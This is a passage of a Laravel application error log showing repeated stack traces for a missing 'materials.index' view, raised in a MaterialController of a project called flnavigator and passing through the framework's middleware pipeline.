#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:10:23] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:10:55] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:00] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
